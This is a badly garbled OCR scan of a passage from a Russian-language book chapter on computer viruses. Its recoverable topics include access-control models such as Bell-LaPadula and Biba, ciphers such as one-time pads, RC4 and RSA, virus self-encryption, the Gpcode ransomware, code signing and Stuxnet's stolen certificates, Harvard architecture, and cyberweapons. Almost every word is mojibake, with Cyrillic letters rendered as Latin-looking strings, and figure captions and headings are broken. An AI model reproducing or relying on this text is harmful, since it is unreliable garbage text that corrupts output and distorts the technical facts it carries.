pbie Te hjih HHbie «o 6’be icm » h « c y 6T>eKTbi» HrpaioT b CHCTeMe. IIpHMepbi 
«THnil4HbIX Cy6beKTOB»: AflMHHHCTpaTOp, Il0JIb30BaTe.Tb, roCTb H T. n. 
IIpHMepbi ^TiinHHHbix o6’beKTOB»: CucTeMHUH 4>aiiJi, O a iiji no;ib30Ba- 
TejiH h nponee. CBOHCTBa ( t o  ecTb Ha6opbi pa3pemeHHH h 3anpemeHHH) 
ana Bcex cymHOCTeft, Hrpaiomnx o/iHHaKOByio poJib, aBTOMaTnqecKH Ha- 
3HaHai0TCH Toace o/iHHaKOBbiMH. OaKTHHecKH npn «p 0JieB0M» noflxofle, 
no cpaBHeHHio c «hhcto  a hc Kp e hh o hhh m », cHJibno cHH»aeTCH pa3Mep 
«MaxpHijbi AOCTyna» h  ynpomaeTCH ee Hcn0Jib30BaHiie. C apyroii cto- 
poHbi, nepeneHb bo3mo»chwx ripeAonpefleJieHHbix «poiieH » He Be;iHK, h 
a n a  VTOHHeHiia npiiBHJierHH KomcpeTHoro cy6-beKTa Bee paBHo npHAexcK 
BbinojiHHTb Maccy «pyHHOH» pa6oTbi, pucKya npn 3 tom 3anpeTHTb hto- 
HH6yzib «HyacHoe» hjih pa3peuiHTb HTO-HHoyab «JiHiiiHee». Pe3ioMHpy«: 
« 7lHCKpeuHOHHbie» noflxoflH yao 6Hbi ana nocTpoeHita oTHociiTejibHO 
npocTbix, peflKO MOZHuJjHmipyeMbix nojiHTHK 6e30nacH0CTH.

AjibTepHaTiiBHoii hbjihctch KOHuenmia <<MaHAarHoro» noaxofla k no- 
CTpoeHHio nojiH TH K 6e3onacHOCTH. ITpn 3tom noflxofle Ka/KZio.viy <<o6beK- 
iy>  ii «cy6ibeKTy» iipHCBaiiBaeTCH ymiKajibHaa «MeTKa 6e3on acH oc™ » -  
(^aKTHHfecKH «avcBaHC», oripe/iejmiomHH hx npHBHJieriiH h nojinoMomiH. 
.JIorHHecKHii BbiBoa -  pa3pemiiTb t o t  hjih hhoh mctoa flocryna -  Bbimtc- 
jihctch KaacAbiii pa3 3aH0B0, KaK (j)ynKHnM o t  3HaiieiiHH «weTOK 6e3onac-
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HocTH».BjiaroflapHTaKOMynoflxoflycTaH0BHTcaB03MoacHMMnocTpoeHHe 
BecbMa cjiojkhhx h fhokhx npaBHA HHcjxjpMauHOHHoro B3anM0fleiicTBiia 
« c y 6’beKT0B» h « 06,beKT0B». HanpHMep, b C YB /t urnpoKo Hcnojib3yioTca 
pa3JiHHHMe MOflHtJjHKauHH nojiHTHKH EejiAa-jlariaayjibi, 0CH0BaHHue Ha 
npaBHJiax:

O  MeTKH 6e3onacHoc™ cyTb neAOHHCAeHHMe «ypoBHH KOH(f>iiaeH-
U H a jIb H O C TH K

O  cy6'beicr HMeer npaBo «r iH c a T b »  b t o t  o6T>eicr, ^e ii ypoBeHb k o h cJh i -  

AennHa/ibHocTH m  hidkc ero;
O  cy6T>eKT HMeeT npaBo «HHTaTb» H3 t o t o  o6i>eKTa. neii ypoBeHb koh- 

4>HfleHiiHaJibHocTH He Bbime ero.
HeTpyflHo coo6pa3HTb. hto ojiaro^apji npn.MeHeHHio hoahthkh Beji- 

.xa-JIallajiyjiH  iin4>opMauH« Bceraa pacnpocTpaHaeTca no ^ypoBium 
K0Hc|)HAeHUHajibH0CTH» CHH3y BBepx, ho HHKoraa He Hao6opoT. 3ep- 
KaJibHbiM OTpaaceHHeM iiojihthkh Bejuia-JlaHa/iy.nM HBJiaexc.H nojim'H- 
Ka BH6a, B KOTOPOH BMeCTO «KOH4)HAeHUHajIbHOCTH» paccMaTpHBaeTca 
«UejiocTHocTb» (aamnmeHHOCTb). B cootbctctbhh c npaBHJiaMH stoh 
no.!iHTHKH cy6i>eKTbi c oojiee bmcokhm ypoBHeM 3amnmeHH0CTH (H a
npHMep. K0Mn0HeHTbi onepauHOHHoii chctcmm h aHTHBHpycbi) Bcer^a 
6yziyT  HMeTb npaBo M0fli«J)HiiHp0BaTb MeHee 3amnmeHHbie o6 teKTM 
(npHKJiaflHbie nporpaMMw), a Te hx -  HeT. ^acTo M onem i Jlallafly^M  h 
B «6 a KOM6HHHpyK)T, hto6m He B03HHKaA0 «Ka.3ycoB» Tima cAeAyiome- 
ro; cymHOCTb c bhcokhm ypoBHeM 3amHiueHH0CTH Moacer co3flaTb cboio 
KonHio, o6 jiaaaiomyK) hh3khm ypoBHeM 3amHiueHH0CTii, KOTopyio nojiy- 
ya r npaBo M0AH4>imHp0BaTb Bee >KejiaiouiHe. O ah sk o  npn (|x)pMa.ibH0M 

K0M6HHHp0BaHHH bo3mojkhm cHTyauHH, Koraa no npaBHJiaM Bn6 a ao- 
CTyn Ha 3anncb k cymHOcra 3anpemeH, a no npaBHJiaM Jlariaay/iM -  pa3- 
peuieH, hjih Hao6opoT. ITpuxoAHTCfl BBOAHTb flonojiHHTeJibHMe npaBHJia: 
hjih npHopHTeT 3anpeTa Hag pa3pemeHHeM, hah npnopHTCT pa3pemeHHK 
Haa 3anpeT0M, hah npHopirreT Bn6a Hafl JlallaAyAOH, hah npnopirreT 
JlallaAyAM  naA BH6a. B 3aBHCHM0CTii o t toto, KaKHe AonoahhteAbHMe 
npaBHAa BHeceHM, noAynaioTca noAHTHKii 6e3onacHocTH c tcmh hah
H H M M H  CB0HCTB3M H.

O. KoaH paccM O TpeA  h  HHbie noflxoAbi k  n o c Tp o e H in o  no A H TH K  6e3onac- 
h o c t h  (u a n p H M e p , M oaeJM  KAapica-BnncoHa, «H H acH en b o a k h o h  m c t k h » 

h  npoHiie) h  noKa3aA, m to o h h  fleiiCTBHTeAbHO n03B0A H K )T peaAH30BaTb 

T O T  H AH HHOH ypO BeHb «H 30JIH H H 0H H 3M a» H , CAeflOBaTeAbHO, n pO TH B O - 

AeiicTB O B aTb p a cn p o cTp a H e H H io  B H p ycH b ix  aiiHACM HH. O a h ;ik o  «K a n e c T - 

B0» KO HKpeTHO H n O A H TH K H  33BHCHT OT MHOXCeoTBa pa3H0p0AHbIX, B TOM 

4iiCAe h  cyo 'beK TH B iib ix . 4>aKTopoB. n p o c T a a  h  acecTKaa n oA H TH K a (n a -
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npHMep, npHMeHHeMaa b U N IX ) MoaceT pa6oTan> ropa3/to 3<jx|)eKTHBHee, 
hcm cJioacHan m ra6Kaa (HanpHMep, cBoiicTBeHHaa Windows).

7 . 5 . 3 .  K p M n T o rp a < t> M H e c K M e  M e T O f lw

Kpunmozpcupusi -  HayKa o MeTO/jax h cpeacTBax o6ecneneHHH KOHcjnmeH- 
UHaJIbHOCTH H nOAJIHHHOCTH HH(Jx)pMaiIHH.

K 0H(|>H,zieHmiajibH0CTb o6ecneMHBaeTCH nocpejjcTBOM *tuu<ppoea- 

Hun» -  o6paTHMoro npeo6pa30BaHHa HHcJxjpManHH X b <J>opMy Y = F(K, X ) ,  

HeyaoSHyio AJia BocnpnaTHH h nenocpejcTBCHHoro Hcn0Jib30BaHHa. 
3 «ecb  Y  -  3auiH(J)poBaHHaa HH(|>opMauH», F  -  ajiropHTM nmt^poBanHH, 
K -  «kjiioh», to  ecn> ceKpeTHbiH napaMerp ajiropHTMa mtK^poBaHira. Pa3y- 
MeeTca, JierajibHOMy Bjiaaejibny KJiioHa Bceraa /locTyriHO «paciuu<ppoea- 
H u e » : X = F~'(K, Y). Co cTopoHbi 3JioyMbmiJieHHHKa He Bceraa B03M0acHa, 
ho KpaiiHe aceJiaTejibiia onepauHH HejiersjibHoro <<deiui«ppoeaHUR», to  
ecn. B3JiOMa, BbinojiHae.Moro 6e3 anpHopHoro 3HaHHa kjiiohs: X =  F~'(Y).

CymecTByioT jih «HeB3^aMbiBaeMMe» uiH(|)pu? Kohchho, /ia. HanpH
Mep, 3T0 nmcfjpbl, OCHOBaHHbie Ha MO^yJIbHOM CJIOaceHHH 3JICMeHT0B AaH- 
HblX C COOTBeTCTBVIOmHMH 3JieMeHT3MH KJIlOHa, npiineM 06a3aTejIbH0 

Aojdkhm Bbino/iHjrTbca CJieayiomHe ycjioBHa:
O  flJiHHa KJnona paBHa ajihhc aaHHbix ( b ajieMeirrax);
O ajieMeHTbi KJnona a6cojnoTHo cJiyHaiiHhi;
O  KJIKM HCnOJIb3yeTCH OZlHOKpaTHO.
B KanecTBe 3JieMenT0B MoryT BbicTynaTb KaK ox/iejibHbie 6htw  (uiHcfip 

BepHaMa), raK h ko/ih  chmbojiob coo6meHHa (muc^p Bn>KHHepa).

Phc. 7.57 ❖ TeopeTMHecKM «HeB3/iaMbiBaeMbie» MeTOflbi mnc})poBaHMfl: 
a) uiMcJjp BuxMHepa; 6) wMcJjp BepHaMa

IIpHMeHeHHe « HeB3JI3MbIB3eMbIX» UIH^POB 3K0H0MHHeCKH He BblTOA- 

ho, xoTa 6bi noTOMy, h to  AJia WHcfjpoBanHtf jho6mx aaiiHbix (HanpiiMep, 
ceTeBoro TpacfiHKa) Heo6xojiHMO HMeTb kjikm TaKOH * e  a jih h h . IIo s to - 
My Ha npaKTHKe Hcnojib3yioT 6ojiee «cjia6bie» uincjjpu. Hx b3jiom -  NP- 
nO.IHaa 3a,1343, OHH rap3HTHp0B3HH0 BCKpbIB3IOTCa MeTOflOM IIO.THOrO 
nepe6opa BapnanTOB kjhoms. Ho npn jv ihhc KJnona 6oJiee 80-90 6htob 
TaKOH nepe6op b pa3yMHbie cpoKH cTaHOBHTca iipaKTH'iecKii HeB03M0ac- 
HbiM. IIpaB/ia, b n eK O Topw x uiH(J)pax H H or^a naxo/iaT y«3BHM 0CTn, no-

a \ AHTMBMPyC 
POfTbAATKfl
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3Bojihiouxhe n p n  #eiiiHc})poBaHHH 0TKa3aTbca o t  n o jm o ro  nepe6opa. Ta
KHM  06pa30M , CTOHKOCTb WHcfipa KO B3JI0My H3MCpaeTCH KOJIHHeCTBOM 

BbW HCJIHTCJIbHblX OITCpaHHH, flOCTaTOMHHX HJIH aeiUH(J)pOBaHHH HH(|)Op- 

M a m iH , He 3H3H KJIIOHa.

CoBpeMeHHbie MeToau iiiHcJjpoBaiiHa MoryT 6uTb KJiaccHc^MimipoBaHbi 
c;ieziyioii(HM 06pa30M:
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Pmc. 7.58 ❖ Kjiaccnc}>MKaLiMfl 
CoBpeMeHHbix UJMCjspOB

IIomoKoeuetuuippu (HanpHMep, «RC4») p a 6 o T a i o T  c  iiotokom bxoahhx 
a a H H b i x  I I  I 7 0 3 B 0 J IH 1 O T  c p a 3 y  3 a U I H ( J ) p 0 B b I B a T b  Ka»CflbIH BHOBb I I O H B J ia iO -  

iiihhch a j i e M e i f T  ( H a n p H M e p ,  6 h t  m h  chmbojt). Bjionuue iuu<ppu ( H a n p H 

Mep, «DES», «AES», «rO CT 28147-89», «Blowfish», «TEA», «CAST», 
«ID EA» h ap .) npeaycMaTpHBaiOT pa36nenne aaHHbix Ha 6jiokh aneMen- 
TOB, KaacablH H3 KOTOpbIX 3alUH4)pOBbIBaeTCtf He3aBHCHM0 OT apyTHX.

BoJIbUIHHCTBO 3aiUH(}>pOBaHHhIX h nojiHMopcfmbix BHpycoB npHMe- 
IitffOT npHMHTHBHbie ajiropHTMbl IUH(|)p0BaHH5I CBOHX KOaa II aaH H bix 

Hanoao6He «raMMHpoBaHHH» c nocToaHHbiM hjih « 6erym nM» kjiiohom. 
Ho HeKOTOpbie BHpycbi Hcnojib3VK)T «cepbe3Hbie», KpnnTorpa(|)HMecKH 
cTOHKHe MeToaw, HanpHMep Biipyc W in32 .Sa Iity  npHMeHaeT aaa s toh  
uejra ajiropHTM «RC4». 3 t o t  ace aaropHTM ncnojib3yeTca b mhoi-ohhc- 
jieHHbix HepBax h Tpoaimax, cf)opMnpyioiniix h o6cJiyacHBaiomHx 6oTHeT 
«Zeus»’.

CuMMernpuHHbte uiutppbt rpeoyioT aJia uiH(J)poBaHHa h pacuiH(|>poBa- 
Hlia OaHH H TOT ace KJHOH K. TaKHM 00pa30M, eCJIH «mH(J>pOBajIbmHK» 
H « pacin H [|)pOBaJI binHK»  XCHB VT Ha pa3HbIX KOHTHHeHTaX, TO CeKpeTHaa 
nepeaana KJirona o t  o/tHoro apyroMy MoaceT onasaTbca cjioacHon npo6ae- 
moh. H  Hao6opoT, pacuiiicJipoBKa, HanpHMep, Tejia BHpyca W in32 .Sa lity  
He cTaBHT HenpeoaojiHMbix npo6aeM, Beab B H p yc  BbiHyacaeH «TacKaTb» 
niii^pyioiue-paciuHcJjpoBbiBaioiUHH kjiioh c co6oh -  BHpycojiory aocTa- 
tohho HanTH i i  «BbiTamiiTb» ero.

1 ripH OJlHOKpaTHOM npHMeHeHHH KJIIOla KplIITTOCTOHKOCTb UIH(j)pa «RC4: 
0 ‘ ieHb BLICOKa.



Bopb6a c BupycaM̂ i 6e3 McnoAbaoBaHnsn amMBnpycoB ❖ 603

3thx HeflocTancoB jiHineHbi acuMMempuHHue wu<ppt>i (H a n p H M e p , 

«RSA» hjih «D H E » ) ,  KOTOpbie hjih uiH^poBaHHa h pacmHcJipoBaHHa h c - 
n o jib 3 y io T  pa3Hbie ( h o  0flH03Ha4H0 cBH3aHHhie a p y r  c a p y ro M !)  k jiio h h  -  

Kb h Kjy 3Ha» offHy «n o ;io B H H K y »  s t o h  napbi, B b im c jiH T b  apyryio n p a K - 

nraecKH HeB03M0»cH0. IlpaBfla, 3Ta 3a,aaHa He T p e 6 y e T  n o jm o ro  nepe6opa 

BapwaHTOB, ho e cjin  fl.riHHa KJiKDMa n pH 6jM 2ca eTca  k  Tbicane 6 h to b , t o  

flaace 4HacTHHH HH»- ne p e 6 o p  b  p a 3 yM H u e  cpoKH  He Bbm ojiH HM .

AcH M M eTpR a k ju oh ch  MoaceT 6brrb ncno jiM O B aH a n0-pa3H0My.

B o-n epB b ix , o/ihh H3 a 6oHeHTOB (M a m a  B ecH yu iK H H a) m o jk c t n ep e - 

flan> B TopoM y (B a c e  I ly n K H H y ) n o  on cp b rroM y KaHa/iy cbh 3h  c b o h  iiihc})- 

py iom H H  « n y 6flHM HHH» k jiioh  Ke, ocTaBHB y  ce6a  «ceK p eT H M H » pacu m ^ )- 

pOBbIB3IOIII.HH KJUOH KD. O H a HHHeM He pHCKyeT, Beflb paCUIH(J)pOBaTb 

c o o 6m eH iie , 3ainH(J)poBaHHoe i i  nocjiaHHoe B ace ii, KpoM e M a u m , h h k to  

He cMoaceT -  m nona KE f l j ia  3T o ro  HeflOCTaTOHHO. C n e im a jib H H M  06pa30M 

ynaKOBaHHbifi h  3aiHHmeHHbiii o t  HCKaaceHHa k jiioh  h o c h t  cneunaJibH oe 

HaHMeHOBaHHe -  ^muppoeou cepmu<pumm».
Ylono6nyK> c x e w y  H cnoJihsoBaji Tp o a H e ij Gpcode, iiiH<|)pya Ha n0/ib30- 

BaTejibCKHX K0 Mnbi0 Tepax npn  noM om n « 0TKpbiT0 i i »  i i o j i o b h h k h  KJnona 

Ba>KHbie aaHHbie -  t c k c t h , ziOKyMeHTbi, KapTHH KH h  t . n. -  h  BbiMoraa 

3a « n p n B a T H y io »  n o jio B H H K y onpe/ieJieHHyio cyMMy. IIoKa flJiHHa KJifona 

6 buia He6 o/tbiiioH, B iipycoJio raM  yflaBajiocb B3Jia.MbiBaTb muc^p, h o  Kor^a 
OHa npeBWCHJia «p e K o p flH y io », np m un ocb  npH M eH H Tb HecKOJibKO h h h c , 

He MaTeMaTHMecKHe MeToflu -  no3BaTb Ha noM om b « 0TfleJi no  6 o pb 6 e 

c npecTj'iuieHHHMH b  c4>epe b m c o k h x  TexHojioraft*-.

B topoh  cnoco6 Hcn0Jib30BaHiiH acHMMeTpim kjijohch 3aic7iK)HaeTca 
B tom, h to  Baca IlynKHH ocTaBJiaeT y  c e6si «ceKpeTHbiH» 3aniH(J)poBbiBaio- 
w hh  kjiioh K e  a M am e BecHyuiKHHOH aapirr «n y 6jiHHHMH» paciiiH<|)po- 
BbiBafomHH Kd. Tenepb Baca HMeeT B03M05KH0CTb nocbuiaTb Mame 3a- 
uiH(})poBaHHbie npn noMomn K f  coo6memia. IIojiyHHB TaKoe coo6meHHe 
h ycneuiHO pacwHcfjpoBaB ero npn noMomn K D, Mama MoaceT 6biTb yBepe- 
Ha, h to nocjiaji ero hmchho Baca h hhkto hhoh. A  Baca, b cboio onepeab, 
He HMeeT bo3mohchocth OTKasaTbca o t  aBTopcTBa coo6u;eHHH. Ecjih b co- 
o6meHHH, HanpHMep, co/iep>KiiTca ootacHeHHe b jik>6bh... h to  >k, Baca, 
Tenepb Te6e npHfleTca JKeHHTbca!

TaKOBa cxeMa « .3jieKTpohho-u h ( pobo i i  noaniicH*. OHa mnp0K0 npH- 
MeHKeTCM He TOJIbKO B MHpOBOM fl0KyMeHT0060p0Te, HO H npH KOHTpOJie 
3a pacnpocTpanemieM nporpaMMHoro o6ecneHeHiia. O  h p.M a - n p o n a b o ;i h - 
Tejib (HanpHMep, Microsoft, hjih Nvidia, hjih Logitech, hjih KTo-irn6y;ib 

em e) 3apaHee HHTerpnpyeT b W indow s cboh HH(|)poBbie cepTH(})HKaxhi 
(to  ecTb <sriy6jiHHHMe» pacm h tjipoBbi iiaroiune kjiiohii). Tenepb, npoBe-
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pan  3JieKTpoHHO-uH(|)poByB0 noflriHct, onepam ioH H aa CHCTeMa B ceraa  

MoaceT npoBepHTb, ycTanaBJiHBaeT ncuib30BaTejib JierajibHbiH apaiiBep  

h jih  noaaeJiKy, BHe 33bhchm octh o t  Toro, OTKyaa 3xa nporpaMMa CKane- 
Ha. IIojinHCHBaTb 3JleKTpOHHO-U,n4>pOBOH IlOJinHCblO MOJKHO He TOJIbKO 

pacnpocTpaHfleM bie nporpaMMbi, ho  h KOHTpojibHhie cyMMW o t  h h x  -  s to  

n03B0JifleT yaocTOBepHTbCH, He HCKajKeH jih  koa  (HanpHMep, b  pe3yjibTaTe 

3apaaceHHH BHpycoM) h  He noaaejiaHa jih  o/iHOBpeMeHHo c sthm  «c o n p o -  

Boacaarom aH» Kom pojibH aH  cyMMa.
OflHaKo He Bee TaK 6e3o6jiaHHo: b 2010 r. nepBb-AHBepcaHT Stuxnet 

ycTaHaBJiHBa.ii b CHCTeMy cboh BpeaoHocHbie apaHBepu, noanncaHHbie 
BnojiHe JierajibHbiMH KJHonaMH cj>npM Realtek h Jmicron. H e n o  b tom, 
HTO XOTH «npHBaTHUe» nOJIOBHHKH KJHOHefl HeB03M0aCH0 nO&aeJiaTb, HX 
mo»cho npocTo yKpacTb, HanpHMep npn noMomn tpohhckhx nporpaMM- 
IimHOHOB.

7 . 5 . 4 .  r a p s a p A C K a n  apxmeKTypa 3 B M

Bee onncaHHbie b khhjkkc cxeMbi caMopa3MHoaceHH» nporpaMM ocho- 
BaHbi Ha npeanoJioaceHHH, hto nporpaMMHbiH koa h aaHHbie nepa3JiH- 
hhm m . yla>Ke b moacjih <D. Koana HHCJia, 3anHcaHHbie Ha jieHTy MauiiiHH 
TbiopHHra, paccMaTpHBajiHCb oaHOBpeMeHHO h KaK aaiiHbie, h KaK « hh- 
TepnpeTHpyeMbiM* ( to ecTb HcnojiHaeMbin) koa. TaKoe noJioaceHHe aeJi 
XapaKTepHO AJia «<|)OHHeHMaHOBCKOH» apXHTeKTypbl BHHIICJIHTeJIbHblX 
chctcm, aoMHHHpyiomeH b HacTOHiyee BpeMH.

B coBpeMeHHbix nponeccopax h onepamioHHbix CHCTeMax np0H3B0- 
flHTCH n o n H T K H  pa3fleJIHTb KOA H aaHHbie BBeaeHHeM npH3H3KOB «ncno;i- 
HHeMHH KOA* H -*3aiUHTa OT 3ariHCH>> AAH pa3JIHHHUX perHOHOB naMHTH. 

Ho noKa 3TH npH3HaKH MOJKHO npOH3BOJIbHO «BKJIK)HaTb» H «OTKJIIO- 

naTb», npHHUHnMajibHbix 3anpeT0B cymecTBOBaHiiro BHpycoB HeT.
O h h  noHBHTCH, e c jm  BbiHHCjmTejibHan CHCTeMa 6y a eT  pea jiH soB aua 

n o  npaBHJiaM ajibTepHaraBHOH apxH TeKTypbi, KOTOpaH no jiyH iu ra  Ha3Ba- 

HHe « r a p B a p a c K o ii» .  B c o o tb c t c tb h h  c s t o h  apxH TeK Tvpo ii k o a  h  aaH - 

Hbie AOAacHbi 6biTb pa3AeJienbi (|)H3HHecKH -  cymecTBOBaTb b paajiHHHbix 

M acciiB ax  naMHTH. CooTBeTCTBeHHo, n p o u ec co p  aojiaceH  6vAeT  pa6oTaTb 

c ab vm h  KOMnJieKTaMH CHCTeMHbix M an icT p aA e ii -  iiih h  aapeca  ( I D A ) ,  

AaHHbix (IHZt) i i  BBoaa-BM Boaa (IIIBB).
IloKa TaKoii noaxoa 6ojibiuoro pacnpocrpaHeHHH He HMeeT -  bbhav 

nOBblllieHHOH CJI03CH0CTH II CTOHMOCTH peaJIH3amiH. Oh nOMa.AeHbKV 
npHMeHHeTCH -  B HeKOTOpblX THnaX MHKpOKOHTpOJTJiepHblX CHCTeM, AAH 
Koropbix riporpaMMnoe o6ecneHenne paspaoaTbiBaeTcn OTaeJibHO, a no- 
TOM «3aiUHBaeTCSI» B nOCTOHHHVK) naMSITb. OaKTHHeCKH nOBCeMeCTHOe
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BBeflenwe «rapBapacK O H » apxm reioypbi 6yaeT 03HanaTb KopeHHOH nepe- 
CMOTP IipaKTHKH nporpaMMHpOBaHHH H B006me HCn0JIJb30BaHIiH BblHHC- 
JIHTeJIbHOH TeXHHKH. HyJKHbl JIM HaM -SBCJIHKHe IIOTpHCeHHH»?

 ----------- £ , W
I riponeccop

Pmc. 7.59 ❖ f le e  apxureicrypw BbNHonnTe/ibHbix cwcTeM:
a) 4>0HHeMMaH0BCKan apxnTeicrypa; 6) rapBapflCKan apxmeicrypa

7 . 6 .  r i e p c n e i a v i B b i  p a 3 B M i v i $ i

1/1 MCn0Ab30BaHMfI KOMnbiOTepHbix BMpyCOB
...3aKOHHwaji 6ojit>utyto pa6omy no eueedeHWo 
nymeM nepeeocnumamui caMOHodeeamu/ezocsi 
ua p&6ojiomuu KpiouoK doxdeeozo nepesi.

A. h  B. CTpyraijKHe. «CKa3Ka o TpoitKO

I lo 6y/iHTejibHbie npiiHHHbi k HanncaHHio KOMnbiOTepHbix BHpycoB HaMH 

6mjih paccMOTpeHbi b nepBofi rjiase. 3aecb h Jiio6oribiTCTBo, h >KeJiaHHe 

caMoyTBep,ziHTbCH, h HrpoBofi a3apT, h cTpeMJieHHe KpiiMHHajiHTeTa k 4>h- 
HaHCOBOH Bbirofle. BojirapcKiui BHpycoJior BeccejuiH Bohhcb Boo6me He 

Harneji BHpycaM hh oaHoro npaKTHMecKH nojie3Horo npiiMeHeiiHH [34], 
Tan jih 3To Ha caMOM aeJie?

7 . 6 . 1 .  B M p y c b i  K aK  «K n 6 e p o p y > K M e »

M o x h o  flo jiro  f liic K y n ip o B a Tb  n o  n o B o a y  «n 0 J ie 3 H 0 c n i»  n  «B p ea H ocT H » 

Jiio6oro  opyjKH H , ho. corJiaciiTecb , c sthm  noH H TneM  CBH3ana bch HCTopHa 

He.ioBenecTBa. He H 3o6peTH  Hain Bojiocaxbiii npejioK K p e n K yio  ziyoMHKy 

H KpeM HIieBblll HaKOHeMHIIK K K onbio, K T0 3HaeT, MOJKeT 6bITb, Mbi flO CHX 

n o p  X0Ji0AHbiMH iioqaM H b u jih  6bi n a  ,iy u y . Kan 3 to  hh  npHCKop6Ho, ho  

npaKTH M ecKyio aiiamiMocTb opyaciia  o c iio p H Tb  Tp ya H o .

B nocJie/iHHe ro/ibi MHoro roB o p ar  o <<KH6epB0HHax». M ajio rpaM O T- 

Hbie acyp H a jiH cru  H aneperoH KH  u soopeTa ioT  Bee HOBbie u HOBbie cn en a -
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pmi rpHflymero «Kn6epariOKaJiHncHca>>. YnpaBJieHHe nepcneKTHBHbix 
pa3pa60T0K IleHTaroHa o6t>hbhjio TeHZiep Ha pa3pa6oTKy h 3aKynny «Ha- 
crynaTejibHoro Kii6epopy»cHH». /lenyTaTbi 6pm:aHCKoro nap/iaMeHTa 
npH3BaJiH k aHajiorHHHbiM aencTBHHM cboh cneqc;iy}fc6hi. M hho6opohm 
flnoHHH nopyHH/ro KOMnaHHH Fujitsu pa3pa6oTaTb h co3flaTb cHCTeMy no 
o6HapyaceHHK> h o6e3Bpe»CHBaHHio hctohhhkob «Kn6epaTaK>. 3aHHTepe- 
coBajmcb HccJieaoBaHMMH b o6^acTH KH6ep6e3onacHocTH ii b Mhhhc- 
TepcTBe o6opoHbi P<D.

A Meaczty Te M  KOMnbiOTepHbie B H pycb i h MepBH n cn o ;ib 3 0 B a ;in cb  b  K a- 

MecTBe c p e a cTB  m nnoH aaca h  flHBepciifl aaBH biM -aaBHo, 6yKBajibH0 c m o - 

M eHTa h x  noH BJieH iia . H c T o p u a  KOMnbKjTepnoft BHpycojiorHH 3HaeT, 
HaBepHoe, m h jijih o h m  n on hiTO K  KaK « H y T b -y y T b  n o fln p a B H Tb », TaK h  i i o j i -  

HOCTblO yH H H TO »C H Tb HHCjjOpMaUHIO Ha HyaCOM KOMnblOTepe (BCnOM HHTe 

x o th  6 w  W in9X.CIH ), He roB op a  yace o to m , h t o 6 u  n p o c T o  h  H e3aTeii- 

j ih b o  «cyHyTb h o c »  b 'iyaaie raHHbi. He 6pe3roBajiH  noflooH H M H  fleaH HH- 

MH HH  OT/iejIbflbie .THHHOCTH, HH XaKepCKHe rp yn m tp O B K H , HH IIOJIHUHH 

(p a H e e  yace y n o M H n a jiH C b  Bpe;t0H0CHbie n po rpaM M bi Magic Lantern ii 

BundesTrojan). H  h h  k KaKoii «K a Ta cTp o c})e » s t o  He npH B ejio  -  K0MnbK>- 

TepH o e c 006m e c TB 0 CBHKJiocb c C H Tyam ieft, n a y^H Jio cb  npoTH BOCTOHTb 

•«KH6epaTaKaM», Bbipa6oTajio  CBoero po/ia «K ii6 e p H M M y H H Te T».

C neM ace CBH3aH hobmh bhtok b roHKe «Kii6epBoopy}KeHHH»?
CymecTByeT ccjjepa npHMeneiiHH BbMHcjiHTejibHoii tcxhhkh, o koto- 

poii «MaccoBbie» nojib30BaTejin h nporpaMMHCTbi hmciot oneHb cmvt- 
Hoe npeflCTaBJieHHe. A Meaqjy TeM mhjuihohh 6ojibiirax h MajienbKHX 

K0MnbK>Tep0B ynpaB.MioT B3jiexoM h noca/tKoii kocmhhcckhx Kopa6jieii, 
Bbipa60TK0H 3HeprHH Ha 3/leKTpOCTaHUHax, np0H3B0flCTB0M npOMbim- 
JieHHbix TOBapoB, ABH>KeHiieM TpaHcnopTHMx cpeflCTB h pa6oTofi 6brro- 
Bbix npH6opoB. Bee sth  3aaaHH pemaioT MHoroMHCJiemiwe n pa3Hoo6- 
pa3Hbie BapnaHTbi aBTOMaTH3HpoBaHHbix chctcm ynpaBJienna (ACY). 
JIio6bie c6oh b hhx npeBaTbi He TojibKo (^)HHancoBbiMH noTepaMH, ho h 
KaTacTpoc|)aMH, cnoco6HbiMH yrpoacaTb cymecTBOBamno 'lejioBenecKOM 

HHBHJIH33HHH. M 3T0 He npeyBeJIHTOHHe. /JoCTaTOHHO BCnOMHHTb, HTO 

3anycKaMH TepMonaepHHX paKeT, naxo/winHxcfl Ha 6oeBOM aeacypcTBe, 
Toace ynpaB^aioT aBT0MaTH3iip0BaHHbie CHCTeMbi.

PaayMeerca, 6o,ibiunHCTBO Hiiim/ieHTOB, r ip o n c x o zw im ix  n o  npHHHHe 

c 6 oe B  yn p aB ^ H io m n x  c h c tc m ,  CBflsaHM co  cjiyqa fiH b iM H  ou iH 6KaMii n p o -  

rpaMMHCTOB-pa3pa6oTHHKOB h nojib30BaTejieft-onepaTopoB. HanpiiMep, 
HMeHHO ohh nocjiyacH.ni npuHHHaMH noTepb KOCMimecKiix Kopa6;ieH  

Mariner-1 (C IIIA , 1962 r.), K ocm o c  419 h Mapc-2 (CCCP, 1971 r.), O O -  
BOC-1 (P o c c h h ,  1988 r.), Arianne-5 (EC , 1996 r.), Mars Climat e Orbiter
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(CIIIA, 1999 r.), paKeTbi-HociiTejra IIp0T0H-M c TpeMa c n y m n K a M H  

TJIOHACC b  2010 r. h , bo3mo>kho, K opaSjia  OOBOC-I'pyHT b  Hoa6pe 
2011 r. H3BecTHbi cepbe3HMe npoHcmecTBHH b aBHauHH h  Ha <$>nore, Ha

npHMep ^esopHeHTHpyiomee noBeaeHHe aBTonnjioTa aapo6yca A-330 
CiiHranyp-IlepT b 2008 n, «rjnoK n» b HaBHrauHOHHbix citcreMax aMepn- 
KaHCKHx HCTpe6nTe.rieH F-22 h  F-16 npn nonbiTKax nepeceyemra «H V Jie - 

Boro MepHflHaHa» h 3KBaTopa, « c jie n o T a »  BepTOjieTa Chinook npn n o jie - 

Tax Hafl H3paH JieM  Ha B h ic o ia x  m-race ypoBH H  Mopa, TpexMacoBoft xaoc 
b CHCTeMax ynpaB .’ienMH paK era biM  KpeiicepoM «flopKTayH» b 1998 r. 
H m ejm M ecTO 6ojiee mm MeHee cepbe3Hwe aBapnH Ha n p e / in p n a T iia x  no 
nepepa6oTKe ypaHa (AscTpaJiHH, 2001 r.), b TeJie4>OHHbix cerax KOM na- 

h h h  AT&T (CIIIA, 1990 h  1998 rr.), Ha HapbHH-MapcKoii M e K rp o c T a H - 

U h h  B 2012 r. HaHM Haa c 1985 r., c o th h  oH Ko6ojibH bix b CIIIA, KaHa/ie 
h IlaHaMe H eo jH O K paTH O  n o jiy y a jm  cBepxBbicoKHe fl0 3 u  o 6 jiy y e H n a  no 
npH H H H e o u ih o o h h o h  pa6oTbi nporpaMM, ynpaBJiaioiHM X ooopyaoBaHHeM  

jiyneBofi TepanHH.
MaBecTHbi h HecKOJibKO cjiyyaeB aHBepcHH Ha ACY npoMbiinjieHHbix 
